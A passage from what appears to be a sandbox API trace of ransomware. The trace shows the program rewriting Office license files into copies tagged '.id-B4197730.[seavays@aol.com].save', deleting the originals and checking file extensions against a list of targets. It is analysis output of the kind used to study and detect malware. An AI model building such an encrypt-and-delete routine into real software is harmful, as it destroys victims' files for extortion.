(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0190.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0190.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0190.821] lstrlenW (lpString=".doc") returned 4 [0190.821] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.821] lstrlenW (lpString=".docx") returned 5 [0190.821] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.821] lstrlenW (lpString=".pdf") returned 4 [0190.822] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString=".xls") returned 4 [0190.822] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString=".xlsx") returned 5 [0190.822] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.822] lstrlenW (lpString=".ppt") returned 4 [0190.822] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0190.822] lstrlenW (lpString=".zip") returned 4 [0190.822] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString=".rar") returned 4 [0190.822] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString=".bz2") returned 4 [0190.822] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString=".7z") returned 3 [0190.822] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0190.822] lstrlenW (lpString=".dbf") returned 4 [0190.822] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0190.822] lstrlenW (lpString=".1cd") returned 4 [0190.822] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0190.823] lstrlenW (lpString=".jpg") returned 4 [0190.823] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.823] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=21546) returned 1 [0190.823] CloseHandle (hObject=0x374) returned 1 [0190.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220 [0190.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0190.826] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.826] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0190.827] GetLastError () returned 0x0 [0190.827] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x542a, lpOverlapped=0x0) returned 1 [0190.831] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5430, lpOverlapped=0x0) returned 1 [0190.833] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0190.833] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0190.833] SetEndOfFile (hFile=0x55c) returned 1 [0190.834] CloseHandle (hObject=0x55c) returned 1 [0190.834] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.834] SetEndOfFile (hFile=0x374) returned 1 [0190.839] CloseHandle (hObject=0x374) returned 1 [0190.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1 [0191.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0191.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0191.350] lstrlenW (lpString=".doc") returned 4 [0191.350] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.350] lstrlenW (lpString=".docx") returned 5 [0191.350] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.350] lstrlenW (lpString=".pdf") returned 4 [0191.350] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.350] lstrlenW (lpString=".xls") returned 4 [0191.350] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.350] lstrlenW (lpString=".xlsx") returned 5 [0191.350] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.350] lstrlenW (lpString=".ppt") returned 4 [0191.350] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0191.350] lstrlenW (lpString=".zip") returned 4 [0191.350] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.350] lstrlenW (lpString=".rar") returned 4 [0191.350] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.350] lstrlenW (lpString=".bz2") returned 4 [0191.350] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.350] lstrlenW (lpString=".7z") returned 3 [0191.351] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0191.351] lstrlenW (lpString=".dbf") returned 4 [0191.351] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0191.351] lstrlenW (lpString=".1cd") returned 4 [0191.351] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0191.351] lstrlenW (lpString=".jpg") returned 4 [0191.351] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.695] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=21727) returned 1 [0191.695] CloseHandle (hObject=0x550) returned 1 [0191.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220 [0191.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0191.862] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.862] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0191.876] GetLastError () returned 0x0 [0191.876] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x54df, lpOverlapped=0x0) returned 1 [0191.879] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x54e0, lpOverlapped=0x0) returned 1 [0191.882] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0191.882] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0191.883] SetEndOfFile (hFile=0x510) returned 1 [0191.883] CloseHandle (hObject=0x510) returned 1 [0191.883] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.883] SetEndOfFile (hFile=0x434) returned 1 [0192.009] CloseHandle (hObject=0x434) returned 1 [0192.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1 [0192.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0192.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0192.014] lstrlenW (lpString=".doc") returned 4 [0192.014] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.015] lstrlenW (lpString=".docx") returned 5 [0192.015] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.015] lstrlenW (lpString=".pdf") returned 4 [0192.015] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.015] lstrlenW (lpString=".xls") returned 4 [0192.015] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.015] lstrlenW (lpString=".xlsx") returned 5 [0192.015] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.015] lstrlenW (lpString=".ppt") returned 4 [0192.015] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0192.015] lstrlenW (lpString=".zip") returned 4 [0192.015] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.015] lstrlenW (lpString=".rar") returned 4 [0192.015] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.015] lstrlenW (lpString=".bz2") returned 4 [0192.015] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.015] lstrlenW (lpString=".7z") returned 3 [0192.015] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0192.015] lstrlenW (lpString=".dbf") returned 4 [0192.016] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0192.016] lstrlenW (lpString=".1cd") returned 4 [0192.016] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0192.016] lstrlenW (lpString=".jpg") returned 4 [0192.016] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.018] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=26538) returned 1 [0192.018] CloseHandle (hObject=0x434) returned 1 [0192.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0192.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.020] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.020] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.024] GetLastError () returned 0x0 [0192.024] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x67aa, lpOverlapped=0x0) returned 1 [0192.027] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x67b0, lpOverlapped=0x0) returned 1 [0192.029] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0192.029] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x114, lpOverlapped=0x0) returned 1 [0192.029] SetEndOfFile (hFile=0x510) returned 1 [0192.030] CloseHandle (hObject=0x510) returned 1 [0192.030] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.030] SetEndOfFile (hFile=0x434) returned 1 [0192.035] CloseHandle (hObject=0x434) returned 1 [0192.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1 [0192.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0192.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0192.038] lstrlenW (lpString=".doc") returned 4 [0192.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.038] lstrlenW (lpString=".docx") returned 5 [0192.038] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.038] lstrlenW (lpString=".pdf") returned 4 [0192.038] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.038] lstrlenW (lpString=".xls") returned 4 [0192.038] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.038] lstrlenW (lpString=".xlsx") returned 5 [0192.038] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.039] lstrlenW (lpString=".ppt") returned 4 [0192.039] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0192.039] lstrlenW (lpString=".zip") returned 4 [0192.039] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.039] lstrlenW (lpString=".rar") returned 4 [0192.039] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.039] lstrlenW (lpString=".bz2") returned 4 [0192.039] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.039] lstrlenW (lpString=".7z") returned 3 [0192.039] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0192.039] lstrlenW (lpString=".dbf") returned 4 [0192.039] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0192.039] lstrlenW (lpString=".1cd") returned 4 [0192.039] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0192.039] lstrlenW (lpString=".jpg") returned 4 [0192.039] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.212] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11623) returned 1 [0192.212] CloseHandle (hObject=0x434) returned 1 [0192.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0192.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0192.215] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.215] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.217] GetLastError () returned 0x0 [0192.217] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d67, lpOverlapped=0x0) returned 1 [0192.220] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0192.221] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0192.221] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11a, lpOverlapped=0x0) returned 1 [0192.222] SetEndOfFile (hFile=0x510) returned 1 [0192.222] CloseHandle (hObject=0x510) returned 1 [0192.222] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0192.222] SetEndOfFile (hFile=0x434) returned 1 [0192.227] CloseHandle (hObject=0x434) returned 1 [0192.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0192.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0192.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0192.230] lstrlenW (lpString=".doc") returned 4 [0192.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.230] lstrlenW (lpString=".docx") returned 5 [0192.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.230] lstrlenW (lpString=".pdf") returned 4 [0192.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.230] lstrlenW (lpString=".xls") returned 4 [0192.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.230] lstrlenW (lpString=".xlsx") returned 5 [0192.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.230] lstrlenW (lpString=".ppt") returned 4 [0192.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0192.230] lstrlenW (lpString=".zip") returned 4 [0192.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.230] lstrlenW (lpString=".rar") returned 4 [0192.230] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.230] lstrlenW (lpString=".bz2") returned 4 [0192.230] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.230] lstrlenW (lpString=".7z") returned 3 [0192.230] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 